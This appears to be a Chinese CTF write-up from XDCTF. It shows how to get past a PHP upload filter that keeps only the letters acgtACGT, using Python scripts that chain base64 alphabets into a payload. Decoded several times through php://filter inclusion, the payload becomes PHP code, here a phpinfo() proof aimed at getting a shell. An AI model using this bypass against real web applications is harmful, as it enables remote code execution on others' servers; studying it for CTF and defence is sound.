Base64…

0x01 Base64简介

Base64是由大小写字母加上数字以及+/64个可打印字符构成的表示二进制数据的方式.以6Bit作为一个单元,所以4个Base64单元可以构成三个字符.加密时不为6的整数倍时,在末尾补0,最后表现出来一个或两个’=’.

0x02 起因

来自于XDCTF其中的一道题目

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
session_start();
if (isset($_FILES[file]) && $_FILES[file]['size'] < 4 ** 8) {
$d = "./tmp/" . md5(session_id());
@mkdir($d);
$b = "$d/" . pathinfo($_FILES[file][name], 8);
file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
echo $b;
}

从题目可以看出只能使用acgtACGT这8个字符构成文件内容.
这里可以利用文件包含进行base64的解码,从而getshell,因而衍生出这个绕过字符限制的话题.

base64解密的特性
如果解密的字符不属于64个字符和=,则会被忽略

首先选择4个单元这样还原出三个字符,从而组合也不会太多.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import base64
import string
from itertools import product
from pprint import pprint
base64_string = string.ascii_letters + string.digits + '+/'
allow_chars = 'acgtACGT'
base64_table = {}
for i in list(product(allow_chars, repeat=4)):
chars_b64encode = ''.join(i)
count = 0
tmp = ''
for j in base64.b64decode(chars_b64encode):
if j in base64_string:
count += 1
tmp = j
if count == 1:
base64_table[tmp] = chars_b64encode
pprint(base64_table)

这样就获得了26个字符.接着利用获得的26个字符继续获取更多的字符.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import base64
import string
from itertools import product
from pprint import pprint
base64_string = string.ascii_letters + string.digits + '+/'
def chars_exchange(allow_chars):
base64_table = {}
for i in list(product(allow_chars, repeat=4)):
chars_b64encode = ''.join(i)
count = 0
tmp = ''
for j in base64.b64decode(chars_b64encode):
if j in base64_string:
count += 1
tmp = j
if count == 1:
base64_table[tmp] = chars_b64encode
return base64_table
def exchange_process(allow_chars):
base64_tables = []
while True:
table = chars_exchange(allow_chars)
char_count = len(table.keys())
allow_chars = table.keys()
base64_tables.append(table)
print "Chars_Count %d: %s" % (char_count, table.keys())
if char_count >= 64:
break
return base64_tables
if __name__ == '__main__':
allow_chars = 'acgtACGT'
pprint(exchange_process(allow_chars))

这样就获得了base64所有的字符.紧接着通过迭代的方式获取所需要的payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import base64
import string
from itertools import product
from pprint import pprint
base64_string = string.ascii_letters + string.digits + '+/'
def chars_exchange(allow_chars):
base64_table = {}
for i in list(product(allow_chars, repeat=4)):
chars_b64encode = ''.join(i)
count = 0
tmp = ''
for j in base64.b64decode(chars_b64encode):
if j in base64_string:
count += 1
tmp = j
if count == 1:
base64_table[tmp] = chars_b64encode
return base64_table
def exchange_process(allow_chars):
base64_tables = []
while True:
table = chars_exchange(allow_chars)
char_count = len(table.keys())
allow_chars = table.keys()
base64_tables.append(table)
if char_count >= 64:
break
return base64_tables
def payload_produce(tables, data):
print "Payload base64encode: %s" % data
payload_base64 = data
for chars in tables[::-1]:
data = payload_base64
payload_base64 = ''
for i in data:
payload_base64 += chars[i]
return payload_base64
def main():
payload = "<?php phpinfo();?>"
data = base64.b64encode(payload).decode().replace('=', '').replace('\n', '')
allow_chars = 'acgtACGT'
tables = exchange_process(allow_chars)
payload_new = payload_produce(tables, data)
if payload_new:
with open('poc', 'w') as f:
f.write(payload_new)
print "Success..."
f.close()
if __name__ == '__main__':
main()

最后文件包含需要使用php://filter/read=convert.base64-decode/resource四次(因为进行了三次迭代外加一次本身加密).

0x03 总结

其中有些地方要注意:

  1. 最开始获取的26个字符时,只能利用解密之后只有一个可打印字符的encode,否则在之后的连续解密中会出现解密错误
  2. Py2与Py3处理数据时会有不同

(ง •_•)ง